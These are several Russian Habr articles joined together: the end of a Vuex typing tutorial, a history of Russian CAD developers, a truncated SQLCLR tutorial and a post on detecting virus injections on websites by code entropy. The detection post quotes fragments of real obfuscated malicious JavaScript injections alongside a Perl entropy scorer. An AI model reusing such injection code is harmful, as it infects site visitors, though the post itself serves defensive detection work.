npm install vuex-smart-module
```
Почитать про все библиотеки для типизации Vuex рекомендую [тут](https://medium.com/better-programming/the-state-of-typed-vuex-the-cleanest-approach-2358ee05d230), возможно другие варианты подойдут вашему проекту больше. Но я выбрал этот модуль, так как он:
1. От автора [vue-property-decorator](https://github.com/kaorun343/vue-property-decorator), который ставится по умолчанию для class-style components;
2. Максимально близок к обычной версии стора.
Идем *src/main.ts* и убираем store оттуда. Для типизации нам не нужно определение `this.$store` на прототипе, мы будем его импортировать.
Создаем в папке *store* директорию *modules* и в ней папку *habrModule*, в ней файлы: *index.ts, actions.ts, getters.ts, mutations.ts, state.ts.*
 Папка должна выглядеть так, разнесение на модули - важный принцип декомпозиции проекта и поможет вам при увеличении объема кода проекта. (с) Ваш капитан
**(!)** Также я не использую в корне стора никаких стейтов и геттеров, если это понадобится - попробуйте придумать модуль для этого, например *appSettings*
Файл *src/store/modules/habrModule/state.ts*:
```
export default class HabrState {
value = 'hello';
}
```
Файл *src/store/modules/habrModule/getters.ts*:
```
import { Getters } from 'vuex-smart-module'
import HabrState from './state'
export default class HabrGetters extends Getters {
/\*\*
\* Параметризированный greeting, не кэшируется Vuex
\* @param name
\* @example module.getters.greeting("Habr!")
\*/
greeting(name: string): string {
return this.state.value + ', ' + name
}
/\*\*
\* Не параметризированный greeting, кэшируется Vuex
\* @example module.getters.greetingDefault
\*/
get greetingDefault(): string {
return this.getters.greeting('Habr!')
}
}
```
Файл *src/store/modules/habrModule/index.ts*:
```
import { Module } from 'vuex-smart-module'
import getters from './getters'
import state from './state'
const habr = new Module({
state: state,
getters: getters,
})
export default habr
```
Мы получили маленький, но гордый модуль. Осталось зарегистрировать его в *store*
Файл *src/store/index.ts*
```
import Vue from 'vue'
import Vuex from 'vuex'
import { Module, createStore } from 'vuex-smart-module'
import habr from './modules/habrModule'
Vue.use(Vuex)
const root = new Module({
modules: {
habr,
},
})
const store = createStore(root)
export default store
export const habrModule = habr.context(store)
```
Другие файлы модуля оставим пустыми, но вы можете их заполнять по необходимости, вся документация есть на гитхаб у [модуля](https://github.com/ktsn/vuex-smart-module).
Чтобы использовать модуль - нужно импортировать его из стора. Далее он будет типизированным.
Пример компонента
```
{{ computedTest }}
import { Component, Vue } from 'vue-property-decorator'
import { habrModule } from '@/store'
@Component({
name: 'HomeView',
components: {
HelloComponent: () => import('@/components/HelloComponent.vue'),
},
})
export default class HomeView extends Vue {
get computedTest() {
return habrModule.getters.greetingDefault
}
}
```
И подсказочки будут работать
И вроде бы почти закончили! Осталось только...
Рефакторинг
-----------
1. Идем в папке src/views и переименовываем там файлы в HomeView.vue и AboutView.vue, затем в src/components и переименуем там файл в HelloComponent.vue. Также дописываем им `name` в аннотацию компонента.
2. Идем в *src/router/index.ts* и делаем импорт HomeView.vue динамическим - чтобы было одинаково все и везде, это рекомендация vue style guide.
3. Поправляем поломавшиеся импорты.
4. Запускаем автоматический линтер через `npm run lint`.
5. Довольные идем пить кофе и отдыхать.
О чем в статье ни слова
-----------------------
Я постарался добить качество кода до хорошего уровня, следовать большинству заповедей Vue, а также добавил немного от себя, но о некоторых вещах я не рассказал и не использовал:
1. Component-naming - Vue имеет некоторые правила касающиеся названия компонентов, которые не отслеживаются eslint.
1. Например компоненты, которые используются лишь раз - следует называть c префиксом *The*, к примеру `TheNavigationComponent.vue` - так бы я назвал панель навигации, которая лежала бы в корне папки *components* и больше никуда не импортировалась.
2. Мой принцип названия и разделения между *views*/*components*: если компонент импортируется только в роутер - он *View*, иначе - *Component* (с опциональным *The*), суффиксы позволяют выполнять другую рекомендацию - названия компонентов не должны быть из одного слова (Navigation.vue - **ALERT**!), потому что могут совпадать с названиями html тегов по умолчанию (текущими и будущими).
3. Названия компонентов в темплейтах: vs Vue разрешает и то и другое, но я рекомендую *CamelCase* для удобства (например - подсвечивается большинством ide).
2. Разбиение хранилища на модули - опционально по стайл гайдам, но я приверженец делать его всегда.
3. Динамические импорты компонентов - это по умолчанию, всегда так делайте (это `Components: () => import(path)` ), webpack умный и такие импорты в 90% случаях уменьшат вам время полной загрузки страницы, а в оставшихся 10% - ничего не поменяют, так что оно того стоит. Это просто, одинаково и удобно.
4. Всегда в компонентах прописывайте имя (даже с учетом того, что оно опционально).
5. Старайтесь названия файлов компонентов согласовывать с названием классов (и именами внутри).
6. Вызовы к api - ТОЛЬКО из store, об этом вам скажет любой Vue разработчик.
*От всего остальное вас должен спасти eslint и голова, но* [*style guide*](https://vuejs.org/v2/style-guide/#Rule-Categories) *почитайте! :)*
Конец
-----
Я надеюсь вам понравилось, качество кода и стайл гайды - это интересно, а также порождает продуктивные дискуссии в командах, обсуждайте такие вещи, это принесет удовлетворение и иногда поднимет самооценку. Но без негатива!
Гитхаб получившегося приложения: [github](https://github.com/sadfsdfdsa/habratest)
Также все это получится с небольшими доработками запустить и на Vue 3, у меня получилось, но так как я в нем не до конца еще уверен и разобрался - статья про уходящий Vue 2.
P. S.
-----
Буду рад любому развернутому фидбеку.
Было бы вам интересно почитать нечто подобное для "идеального" тестирования Vue приложений?
UPD
---
Совет из комментариев, который я забыл включить в статью:
* Все действия с api должны проходить через **store** (через `actions`), при этом сами вызовы (функции) api должны лежать отдельно (моя рекомендация - *src/api/index.ts*) | https://habr.com/ru/post/540798/ | null | ru | null |
# Об одном эвристическом методе детекции вирусных инжекций на сайтах
**!** Пост написал [RomanL](https://habrahabr.ru/users/romanl/), но за неимением необходимого количества кармы — опубликовать его не может.
Хочу рассказать об одном решении, как можно обнаружить внедрения полиморфного вирусного JavaScript-кода в страницы сайтов. Заметка расcчитана на подготовленных пользователей, которым не надо объяснять элементарных вещей и которые могут сами найти дополнительную информацию не требуя ссылок на википедию :)
Введение.
---------
Наверняка, многие сталкивались с неприятными предупреждениями браузеров о том, что сайт представляет потенциальную опасность для компьютера. А после того как Яндекс стал предупреждать об этом в поисковой выдаче стало очень просто объяснить почему вдруг на сайте трафик скатился до нуля. Просто, но поздно.
Все дело в нехороших червях, которые поражают веб-страницы и пытаются через дыры в браузерах проникнуть на компьютер посетителя и продолжить свое размножение.
Червь подобного типа обычно действует следующим образом:
* Червь селится на какой-нибудь порно или варезный сайт и ждет любителей запретных удовольствий.
* Если в браузере посетителя есть дыра (в последнее время), то червь проникает на компьютер жертвы и поселяется на ней используя руткит-методы для сокрытия своего пребывания
* Кроме всего прочего, поселившийся червь ищет на компьютере сохраненные пароль к FTP-серверам (коих бывает достаточно на компах веб-разработчиков и системных администраторов)
* Пароли отсылаются в координационный центр вирусной сети и оттуда организуется проникновение опасного кода на скомпрометированные сайты: поражаются индексные файлы во всех директориях веб-сервера.
* Ну а дальше посетители пораженного сайта разносят заразу дальше, а поисковые системы справедливо блокируют опасный сайт.
### Какой вид имеет вирусный код на сайте?
Обычно применяется несколько вариантов:
* Скрытый iframe
* JavaScript-код, формирующий тот же скрытый iframe
* Инклуд JavaScript'а со внешнего сервера с последствиями из п. 2
### Как можно оперативно получить информацию о проникновении вирусного кода на сайт?
* 1. Мониторить файлы на сервере на предмет изменений, храня их хэши в отдельной базе. Недостаток: требует серверного ПО, неудобно при частных обновлениях.
* 2. Мониторить сайт «извне» на предмет наличия в файлах вирусного кода. Например, есть сервис [www.siteguard.ru](http://www.siteguard.ru) который обеспечивает мониторинг ваших сайтов на предмет наличия вирусов.
Хочу на примере кратенько рассказать о некоторых особенностях второго подхода и как мы его используем в работе нашей компании.
Задача.
-------
Задача проста — необходимо мониторить две сотни клиентских веб-сайтов на предмет появления на них вирусного кода.
Решение.
--------
Написан краулер, периодически опрашивающий сайты из списка получая главную страницу и анализируя ее на предмет потенциальной опасности.
Поиск потенциально опасного кода идет в несколько этапов:
* **Поиск сигнатур.** Используем базу сигнатур в виде регулярных выражений для определения внедрений скрытых iframe'ов и прочей понятной гадости. Этот уровень снимает достаточно большую часть самых распространенных вирусных инжекций.
* **Поиск внешних JS-инклудов.** Анализируем подключения файлов скриптов с внешних серверов. Если внешний сервер отсутствует в «белом списке» то генерируем соответствующее уведомление администратору. Живых вирусов таким способом ловить не приходилось, но в интернете встречались подобные описания.
* И самое интересное: **эвристический анализ JavaScript-кода на странице**.
### Вот тут подробнее!
В последнее время новые модификации червей используют полиморфное шифрование (точнее обфускацию) JS-кода при внедрении на страницу с целью сокрытия логики, исполняемой скриптом. Такой код сложно вовремя отловить сигнатурным методом, потому что он меняется от копии к копии (хотя некоторые куски его можно описать регулярными выражениями в сигнатурной базе). Вот «куски тел» некоторых инжекций подобного рода:
> var jGt7H3IkS=Array(63,6,19,54,61,31,22,51,12,33,0,0,0,0,0,0,49,5,4,62,2,25,29,38,39
>
> ,44,26,28,42,57,21,34,13,7,56,43,41,47,1,3,37,40,11,0,0,0,0,30,0,14,58,17,27,0,8,
>
> 60,16,36,35,20,46,24,48,10,32,9,15,23,52,53,59,50,55,45,18),OmFORSBhopxKumqErMdN3
>
> QYTiogrWyNLb2agSAc="Ewgns28wesYusd8GQ3Ktcs4HoLmts2gnWSInoUgO1S8wo\_m96QPxqW8GQ1876sFwB74HZSgwe5R
>
> GELf7W5P@fWgG",JjrjMmsvdcJ8K6muubIPn=0,CCdH\_4HW=0,Lv0RDYvi6cLNHfJ=0,EnMfvr1feyNJmFLN6C0pI
>
> DRx7SSTALRmlVGS,KuX2VtJp1ALLHMe=OmFORSBhopxKumqErMdN3QYTiogrWyNLb2agSAc.length,K0
>
>
>
> (function(t){eval(unescape(('<76ar<20a<3d<22Sc<72<69p<74Engine<22<2cb<3d<22<56er<73i<6fn()
>
> <2b<22<2cj<3d<22<22<2cu<3dna<76igator<2euse<72Agent<3bif((u<2e<69nd<65xOf(<22W<69n<22)<3e0)<26<26
>
> (u<2eindexOf(<22<4eT<206<22)<3c0)<26<26(documen<74<2e<63ooki<65<2ein<64<65xOf(<22<6d<69ek<3d1<22<29<3c0)
>
> <26<26<28typeof(zr<76zts)<21<3d<74<79peof<28<22<41<22)<29)<7bz<72v<7ats<3d<22<41<22<3b<65
>
> val(<22<69f<28<77indow<2e<22+a<2b<22)j<3dj+
Анализ подобного кода позволил выдвинуть гипотезу о его высокой энтропии, т.е. по сравнению с обычным JS-кодом обфусцированный код хаотичен.
Дальше мы использовали несколько модификаций алгоритма расчета конечной энтропии подобного кода и прогоняли их по небольшой сигнатурной базе. Результаты получились обнадеживающий, но с одной неприятной особенностью: вирусный код, запакованный алгоритмами, которые используются для упаковки библиотек типа jQuery показывал, соответственно, близкие к ним значения энтропии. Почесав репу и немного еще покопавшись с модификацией алгоритма было принято волевое решение включить подобный код в сигнатурную базу, а порог энтропии выставить для уверенного определения вышеприведенных модификаций вирусного кода.
Итак, вот этот небольшой код рассчитывает меру энтропии несколько обработанного JS-кода:
> sub enthropy($$) {
>
> my $data = shift;
>
> my $ignore = shift;
>
> my $e = 0;
>
>
>
> my $letters = {};
>
> my $counter = 0;
>
>
>
> if ($data) {
>
> $data =~ tr/A-Z/a-z/;
>
> $data =~ s/\s//g;
>
>
>
> # чистим полиморфный код от игнорируемых сигнатур
>
> foreach (@{$ignore}) {
>
> $data =~ s/$\_//g;
>
> }
>
>
>
> $data =~ s/[^2-9]/\_/g;
>
>
>
> while ($data =~ /(...)/g) {
>
> $letters->{$1} ++;
>
> $counter ++;
>
> }
>
>
>
> foreach (keys(%{$letters})) {
>
> my $p = $letters->{$\_} / $counter;
>
> $e += $p \* log2( $p );
>
> }
>
>
>
> $e = 0 - $e;
>
> }
>
>
>
> return $e;
>
> }
>
> sub log2() {
>
> my $n = shift;
>
> return log($n)/log(2);
>
> }
**Что тут происходит:**
* Готовим код, переводя буквы к одному регистру и избавляемся от пробельных символов.
* Очищаем код от игнорируемых сигнатур (список регулярных выражений из отдельного файла). Этот шаг используется для удаления из потенциального кода кусков, которые могут дать ложные срабатывания. Например анализатор ругался на код информера от gismeteo, поэтому в базе игнорируемых сигнатур есть регулярное выражение:
`url='http:\/\/img\.gismeteo\.ru.*lang='ru';`
* Заменяем все символы кода которые не входят в диапазон цифр 2..9 на символ подчеркивания.
* Генерируем алфавит нашего кода, состоящий из триплетов (группы по три символа). Результат этих преобразования в том, что полученный алфавит для вирусного кода получается богаче, чем для обычного — отсюда больше и значение энтропии.
* Считаем энтропию для данного кода с полученным алфавитом
Поэкспериментировав с конечным значением был установлен его уровень, выше которого код считается вирусным:
`our $E_MAX = 2.2;`
Вот, собственно и все что я хотел сказать об одном методе эвристической детекции вирусных инжекций на сайтах. :)
PS Кстати, если вы сохраняете пароли к FTP в Far'е, то делайте это не в корне панели «FTP» а создавайте директории (через F7) — из них, почему-то вирусы пока не умеют их брать :)
\_\_\_\_\_\_\_\_\_
Текст подготовлен в [ХабраРедакторе](http://www.bankinform.ru/HabraEditor/)
P.S. Если статья понравилась — ставим плюс [RomanL](https://habrahabr.ru/users/romanl/), если не понравилась — минус [zvirusz](https://habrahabr.ru/users/zvirusz/). | https://habr.com/ru/post/70615/ | null | ru | null |
# Пристрастные заметки о русских разработчиках САПР
Один из сооснователей ЗАО Нанософт, [Дмитрий Попов](http://www.nanocad.ru/about/dima/index.php), написал в facebook заметку из серии «САПР в России»… Понятно, что пристрастно, не претендуя на историческую точность. Но нам показалось, что интересно и вполне подойдет для Хабра под пятничное настроение: кто-то узнает что-то новое, кто-то – вспомнит, а кто-то поймет, что не Боги горшки обжигают. Делимся заметкой в режиме «как есть»…
#### От автора
Какое-то время назад меня попросили написать про САПР в России для одного независимого портала, но природная лень и то, что эта задача с низким приоритетом, привели к тому, что за несколько месяцев не было написано ни одной строчки. То, что вы читаете, это совсем не изложение фактов, скорее это очень субъективные, с некоторой долей вымысла, воспоминания и размышления. Возможно с легким прохановским послевкусием.
#### Россия — родина слонов
Меньше всего мне бы хотелось, чтобы эти заметки воспринимались, как еще один аргумент в бессмысленном и глупом споре между теми, кто считает, что Россия настолько сурова, что она может закусить Европой, а на обед сожрать Америку и теми, кто считает, что у нас ничего хорошего не создано, все что делается — делается плохо и руки у нас растут не там, где у всего прогрессивного человечества. Этот спор имеет под собой не больше оснований, чем спор между “физиками” и “лириками” в СССР 60х годов прошлого века. А вы даже не знаете о существовании такого спора? Вот об этом я и говорю.
Начнем с “доисторических времен”, когда даже родители поколения “айфонов-айпадов-с-пеленок” сами были в пеленках и ползунках. Back to the USSR!
Если кто-то считает, что САПР в России появился благодаря Autodesk, которая начала продавать AutoCAD темным российским инженерам незадолго до развала Советского Союза, то это не так. Совсем не так. САПР, как и секс в СССР был, причем был очень серьезно. Но это был совсем не такой САПР, как мы его знаем и любим сейчас. В нем не было интерактивности, практически совсем. Что остается? Правильно, расчеты, автоматизированные расчеты. И основная идея была — оптимизации всего, начиная от эффективности использования вычислительных ресурсов и кончая оптимизацией конструкции проектируемого изделия.
Дипломники технических ВУЗов всей страны разрабатывали программы, которые теоритически должны были становиться компонентами больших САПР. Например автор этих строк написал в качестве диплома некое подобие APT, работающее на МИНСК 32 и и выдающее управляющую программу для станка с ЧПУ. О незабываемй стрекот перфоратора! Это был отнюдь не престижный столичный ВУЗ, а значит САПР занимались вполне себе массово, заканчивались 70-ые и СССР тогда еще даже не начинал разваливаться на глазах, как прокаженный на последней стадии заболевания.
Не всё способствовало этим занятиям, не было графических дисплеев, не то чтобы совсем, но практически. Ну их массово в то время не было нигде, но в СССР — особенно. И тут мы подходим к воспоминаниям о будущем. Так вот СССР находился в состоянии где-то 8-9 этапа международных санкций, по аналогии с сегодняшней ситуацией. Вся вычислительная техника и программное обеспечение попадали под так называемый запрет КОКОМ. То есть эти технологии не могли быть проданы легально в СССР. Легально. Если нельзя, но очень хочется, то для этого есть спецслужбы. Поэтому вся необходимая техника как раз в тех министерствах, где ее ни в коем случае, с точки зрения США, быть не должно – в Министерстве среднего машиностроения (ядерное вооружение), Министерстве авиационной промышленности (ракеты и самолеты) и далее по списку, была. Конечно по более высокой цене, но “ведь нам на всех нужна одна победа, одна на всех, мы за ценой не постоим”. На заметку — санкции реально бьют не по тем, на кого они рассчитаны, а в первую очередь по тем, кто ни к чему не причастен. Жертвы среди гражданского населения, так сказать. Но на войне, как на войне…
Поступление вычислительной техники из США окольными путями в СССР было засекречено, поэтому ее не было в ВУЗах, готовивших инженеров для несекретных отраслей народного хозяйства и они по старинке таскали колоды перфокарт в своих портфелях, занимали очередь для выполнения своих задач и были счастливы, когда удавалось договориться с операторами на допуск в ночную смену. Точно такая же ситуация была и с аспирантами. И с учеными… Хотите в такое будущее?
Но у всего в жизни есть две стороны, инь и янь. Полная янь положения САПР в СССР породила совершенно уникальное поколение разработчиков, правда дальнейшая его судьба была совсем не такая, как они хотели. Для многих действительность превзошла самые смелые мечты, а для других… Но ведь это жизнь, а не голливудский блокбастер, кто сказал, что всем хорошим должно быть в конце концов хорошо?
Вернемся на 30 лет назад. Вы можете себе представить, что отлаживаете программу с итерацией в одни сутки? А именно так и было. Вы можете себе представить, что программа должна занимать даже не мегабайты, а килобайты? Что программа должна сама решать, какой выбор из возможных вариантов делать, а не спрашивать подсказки от инженера, интерактивности то нет? Бывшие инженеры, а ныне программисты понимали, что без серьезной математической подготовки им просто нечего здесь делать. Помимо углубления в дискретную математику, они старались постоянно расширять свой математический кругозор в поисках святого грааля для решения всего. Вариационное исчисление, теория нечетких множеств, построение специфических алгебр для моделирования производственных процессов, теория искусственного интеллекта и еще много чего. Это я перечислил небольшую долю тех разделов математики, которые использовались в диссертациях по САПР моих друзей по кафедре одного московского ВУЗа. Эти люди были совсем непохожи на выпускников с дипломом по САПР сейчас. Они были принципиально другими. Некоторые из них напоминали Левшу из книги Лескова, они реально могли подковать блоху — смоделировать процесс резания металла при токарной обработке на ЭВМ Электроника 60 с 64 КБайт адресуемой памяти.
Постепенно появились графические дисплеи, эмулирующие команды терминалов Tektronix и на ЭВМ СМ4, цельнотянутом советском аналоге DEC PDP 11, стало возможо работать с интерактивной графикой. До конца СССР оставались считанные годы. И в это время появились первые PC, первые графические редакторы, Unix на PC для особо продвинутых и не успели мы портировать что-то свое, как откуда-то к нам попал AutoCAD.
Какова была наша реакция на первый AutoCAD для PC? Он выглядел забавно. Мы понимали, что нарисовать что-то один раз быстрее на кульмане, но вот если можно использовать стандартные элементы, то наверное AutoCAD будет полезен. Но это не САПР. Это совсем не САПР, как его понимали в то время. Где реальная помощь инженеру в расчетах, наиболее трудоемкой части его работы? Где поиск вариантов конструкции? Как вообще эта поделка может помочь при проектировании технологического процесса? Довольно неудобный электронный кульман. В общем реакция динозавров на появление первого млекопитающего.
```
Один из первых интерфейсов AutoCAD - меню справа, курсор управляется с командной строки...
```
Но AutoCAD был не безнадежен, у него имелся встроенный интерпретатор LISP. Ну да, среди нас только повернутые на проблематике искусственного интеллекта были знакомы с LISP, но этот язык исключительно прост синтаксически и его можно было освоить за пару дней. Как говорили, это язык для истинных адептов ИИ, потому что “искусственным интеллектом занимаются те, кому своего не хватает”. В первоначальной реализации от Autodesk LISP был чудовищно медленным, падучим. Было ясно, что ничего серьезного на нем написать невозможно. Но позже он стал именно тем оружием, которое позволило AutoCAD затоптать конкурентов в нише САПР для PC. И это оружие победы выковали для Autodesk два российских научных сотрудника по фамилии Петров и… Петров.
#### Петров в квадрате и Ричард Хендисайд
Осенью 89 года на территории Конференц-центра АЗЛК, тогда еще вполне себе живого завода, высадился десант Autodesk в сопровождении цирка дрессированных партнеров. Командовал этой операцией один из основателей Autodesk Ричард Хендисайд. Очередь из инженеров, студентов и аспирантов технических ВУЗов на эту выставку была длиннее, чем к мавзолею Ленина. Для тех, кто там побывал, это было первое знакомство с интерактивным САПР, пусть убогим, но реально существующим. Дисплеи 20”, плоттеры и дигитайзеры и все это работает не со шкафами СМ4 или ЕС ЭВМ, а с серой коробкой IBM PC, стоящей на стандартном советском столе-парте из ДСП. Оказывается для AutoCAD уже есть компании, которые пишут программы на LISP, расширяющие его функционал до уровня параметрического проектирования (Cyco Software), неужели LISP на что-то годится? На большинство неискушенных советских инженеров это производило впечатление не меньшее, чем блеск бус на папуаса. Но некоторые поняли, что в этом есть большие возможности, что можно начинать писать программы, которые будут использовать AutoCAD как интерактивный графический редактор, а расчетные программы, ранее требовавшие сложного ввода массивов исходных данных получат их непосредственно из чертежа и результат тоже будет на этом чертеже. Вот только LISP…
Одним из таких разработчиков был Петр Петров, работавший в слегка закрытом НИИ над созданием сквозной САПР для специфической отрасли машиностроения. У него был приятель, тоже по фамилии Петров, по имени — Юрий. И так получилось, что они до этого имели опыт в разработке компиляторов. В общем посмотрели они на этот LISP в AutoCAD и поняли, что для того, чтобы его использовать для более-менее серьезных приложений у него должна быть возможность преобразовывать исходный код в нечитаемый для всех вид (закрыть его), а лучше компилировать в непосредственно выполняемые команды. То есть сделать специализированный компилятор LISP для AutoCAD. Идея не лучше и не хуже большинства других, рождающихся за рюмкой чая на посиделках программистов и научных сотрудников. И может быть так она и осталась в виде прототипа, который существовал бы в недрах слегка закрытого НИИ, но все уже менялось в СССР. Появилось СП (совместное предприятие) Параллель, которое стало первым партнером Autodesk. Сотрудники Параллели переводили AutoCAD на русский язык и начали его внедрять.
Возможно, что такого распространения AutoCAD в России не получил бы, если бы не талант Ричарда Хендисайда собирать вокруг себя интересных людей. Он верил, что для того, чтобы хорошо продать товар недостаточно его продемонстрировать, работе с ним надо научить. А так как у самого Autodesk тогда было совсем мало ресурсов, то надо искать партнеров, чем больше, тем лучше, надо расширять круг тех, кто поможет приспособить AutoCAD к местным условиям. И он стал помогать местным разработчикам показывать свои программы на выставках. Для этого Autodesk предоставлял места на своих стендах небольшим фирмам, которые предлагали то, что помогало AutoCAD. Это были производители графической периферии и программного обеспечения, комплиментарного AutoCAD. В СССР это были программы, железо “Сделано в СССР” было совсем не передовым. В один из приездов Ричарда его познакомили с парой Петровых. У них на тот момент не было законченного решения для компиляции и выполнения LISP-программ для AutoCAD, но они гарантировали, если получат доступ к внутренним функциям AutoCAD, то смогут сделать это в очень ограниченные сроки. Даже если они не получат доступ, то тоже смогут, но это будет чуть дольше.
А дальше было вот что. Ричард обсудил эту идею с другими отцами-основателями и двое Петровых отправились в Сосалито, Калифорния доводить свое решение до релиза. Надо сказать, что они уже к этому времени взломали код AutoCAD и смогли подключать откомпилированные модули LISP напрямую, но об этом Ричарду не сказали. Все, что требовалось, это на самом деле была скорее отладка, чем доработка. В общем они сделали все за рекордный срок и в основном посвятили свою длительную командировку изучению жизни аборигенов Кремниевой долины.
```
Примерно такие виды изучали Петровы, гуляя по Сосалито
```
Возможно это был первый случай, когда Autodesk заплатил российским разработчикам за использование их программных компонентов в AutoCAD. Но самое интересное, что это был не последний контракт Петровых по продаже Autodesk компонентов для работе с AutoLISP. То, что было сделано, обеспечило защиту исходного кода сторонних разработчиков. Они теперь могли продавать свои программы, написанные на LISP не опасаясь, что результаты их труда можно будет легко скопировать. Число энтузиастов AutoCAD начало стремительно расти, стало зарождаться международное сообщество разработчиков AutoCAD. Благодаря компилятору LISP-программы выполнялись намного быстрее и с их помощью стало возможным совершать вполне серьезные вычисления. А два русских парня по фамилии Петров, каждый по своему преодолевали начало эпохи перемен. Тихая заводь, которой был СССР, превратилась в бурлящий водоворот 90-х, когда преподаватели кафедр, кандидаты технических наук по САПР торговали на рынках в свободные от посещений дни, открывали кооперативы по продаже персональных компьютеров, тушенки, сигарет и до последнего пытались получить хоть какое-то финансирование своих проектов от родного государства или зарубежных компаний, но в конце-концов просто уезжали из страны, пополняя русскую диаспору в Parametric Technologies, Microsoft, Apple…
Autodesk Петровых не забывал, контракт на техническую поддерку с ними по началу не был подписан, поэтому они еще несколько раз получали заказы на адаптацию своего кода под каждую следующую версию AutoCAD. Не удивлюсь, если окажется, что такой выгодный для Петровых контракт и слегка невыгодный — для Autodesk был сделан Ричардом Хендисайдом намеренно, поскольку в то время никто в СССР не имел ни малейшего понятия, сколько на самом деле стоит их квалификация. И чтобы те три копейки, полученные по первоначальному контракту не стали бусами для папуасов, взамен за которые был получен золотой слиток, Хендисайд подложил небольшую бомбу под финансовый департамент Autodesk, в результате чего временный творческий коллектив Петров+Петров получал все более серьезные контракты на доработку однажды проданного кода.
Это мои домыслы, но Ричард Хендисайд — это один из немногих бизнесменов, с кем меня сталкивала судьба, и который вызывал чувство безусловного уважения как человек, поэтому возможно, что все было именно так.
#### VisualLISP или Петров возвращается
Удивительным в этой истории с Петровым и Autodesk является то, что она не закончилась с появлением программного интерфейса к AutoCAD на языке С, AutoLISP выжил. Даже переход AutoCAD с DOS на Windows и использование большого числа инструментов, имеющихся в Windows, не превратил LISP в пережиток прошлого. Слишком много разработчиков и продвинутых пользователей AutoCAD “подсели” на LISP. Они научились обходить ограничения, присущие реализации AutoLISP, поняли преимущества, которые дает интерпретируемый язык, оценили его гибкость при абсолютном минимуме синтаксиса.
Принудительное расставание с ключевым отцом-основателем, архитектором экзотических программных интерфейсов AutoCAD: AutoLISP, Diesel и DCL, Джоном Уолкером не помогло избавить AutoCAD ото всех странных средств разработки, более того они в полулетаргическом состоянии дожили и до наших дней. Кстати, хорошо, что Уолкер не успел внедрить объектно-ориентированную среду для разработки приложений на основе языка с обратной польской записью Forth, вместо C++, как он собирался. Это стало бы кошмаром для разработчиков.
А тогда, во второй половине 90х среди основных пожеланий пользователей было требование современной среды разработки для AutoLISP. Напрасно Autodesk уговаривал сообщество разработчиков переходить на Visual Studio, грехи прошлого в виде тысяч строк, написанных на AutoLISP тянули назад. А Microsoft не торопился добавлять LISP в число поддерживаемых Visual Studio языков. Как пелось в популярной в те времена песенке: “I need a hero!” Нужен был былинный богатырь, который спасет всех — Autodesk от несвойственной им разработки по созданию современной среды программирования и отладки для языка, доставшегося им в наследство от эксцентричного Уолкера и пользователей-разработчиков, вынужденных использовать инструменты из прошлого компьютерного века для написания и отладки программ на LISP. Воистину “I need a hero!” И Россия откликнулась на этот зов.
Водоворот 90х разорвал творческий коллектив Петровых на компоненты. Петр Петров решил попытаться реализовать великую американскую мечту и отправился в США, чтобы стать еще одним из тех русских, которые создают превосходство американского САПР. На этот раз все было по-взрослому. Была открыта компания Basis Software Inc., которая занималась в основном чем вы думаете? Правильно, она разрабатывала современную среду визуального программирования на LISP — Vital-LISP! К слову это был не единственный проект, более того, это был на самом деле побочный результат, но… Они хотели сделать ту самую точку опоры, которая была нужна Архимеду, для того чтобы перевернуть Землю. К сожалению планка была поставлена слишком высоко, поэтому мы уже никогда не узнаем, что произошло бы с САПР, если бы Basis Software удалось реализовать задуманное.
Однако первый компонент был создан — визуальная среда программирования на LISP, но деньги стали заканчиваться, финансирование для продолжения проекта было неоткуда взять. И старый друг оказался лучше новых двух — Autodesk увидел в разработке от Basis Software решение всех своих проблем. Они купили Vital-LISP, переименовали его в VisualLISP и включили в AutoCAD. Огромное число пользователей по всему миру вновь почувствовало себя комфортно, не только AutoCAD идет в ногу с со временем, но и старичок AutoLISP нарядился по последней моде от Microsoft.
Да, Петя Петров опять сделал это, он опять продал свой LISP Autodesk. А вы говорите, что снаряды не падают два раза в одну воронку, или что в одну реку нельзя два раза войти. Все возможно, если за это возьмется Петр Петров! | https://habr.com/ru/post/234221/ | null | ru | null |
# Использование SQLCLR для увеличения производительности
Начиная c MS SQL Server 2005 в распоряжение разработчиков баз данных была добавлена очень мощная технология [SQL CLR](http://en.wikipedia.org/wiki/SQL_CLR).
Эта технология позволяет расширять функциональность SQL сервера с помощью .NET языков, например C# или VB.NET.
Используя SQL CLR можно создавать написанные на высокопроизводительных языках свои хранимые процедуры, триггеры, пользовательские типы и функции, а также агрегаты. Это позволяет серьезно повысить производительность и расширить функциональность сервера до немыслимых границ.
Рассмотрим простой пример: напишем пользовательскую функцию разрезания строки по разделителю используя SQL синтаксис и SQL CLR на базе C# и сравним результаты.
### Пользовательская функция, возвращающая таблицу
> `CREATE FUNCTION SplitString (@text NVARCHAR(max), @delimiter nchar(1))
>
> RETURNS @Tbl TABLE (part nvarchar(max), ID\_ORDER integer) AS
>
> BEGIN
>
> declare @index integer
>
> declare @part nvarchar(max)
>
> declare @i integer
>
> set @index = -1
>
> set @i=1
>
> while (LEN(@text) > 0) begin
>
> set @index = CHARINDEX(@delimiter, @text)
>
> if (@index = 0) AND (LEN(@text) > 0) BEGIN
>
> set @part = @text
>
> set @text = ''
>
> end else if (@index > 1) begin
>
> set @part = LEFT(@text, @index - 1)
>
> set @text = RIGHT(@text, (LEN(@text) - @index))
>
> end else begin
>
> set @text = RIGHT(@text, (LEN(@text) - @index))
>
> end
>
> insert into @Tbl(part, ID\_ORDER) values(@part, @i)
>
> set @i=@i+1
>
> end
>
> RETURN
>
> END
>
> go`
Эта функция разрезает входную строку используя разделитель и возвращает таблицу. Применять такую функцию очень удобно, например, для быстрого заполнения временной таблицы записями.
> `select part into #tmpIDs from SplitString('11,22,33,44', ',')`
В результате таблица #tmpIDs будет содержать
> `11
>
> 22
>
> 33
>
> 44`
### Модуль CLR написанный на C#
Создадим файл SplitString.cs со следующим содержимым:
> `using System;
>
> using System.Collections;
>
> using System.Collections.Generic;
>
> using System.Data.SqlTypes;
>
> using Microsoft.SqlServer.Server;
>
>
>
> public class UserDefinedFunctions {
>
> [SqlFunction(FillRowMethodName = "SplitStringFillRow", TableDefinition = "part NVARCHAR(MAX), ID\_ORDER INT")]
>
>
>
> static public IEnumerator SplitString(SqlString text, char[] delimiter)
>
> {
>
> if(text.IsNull) yield break;
>
>
>
> int valueIndex = 1;
>
> foreach(string s in text.Value.Split(delimiter, StringSplitOptions.RemoveEmptyEntries)) {
>
> yield return new KeyValuePair<int, string>(valueIndex++, s.Trim());
>
> }
>
> }
>
>
>
> static public void SplitStringFillRow(object oKeyValuePair, out SqlString value, out SqlInt32 valueIndex)
>
> {
>
> KeyValuePair<int, string> keyValuePair = (KeyValuePair<int, string>) oKeyValuePair;
>
>
>
> valueIndex = keyValuePair.Key;
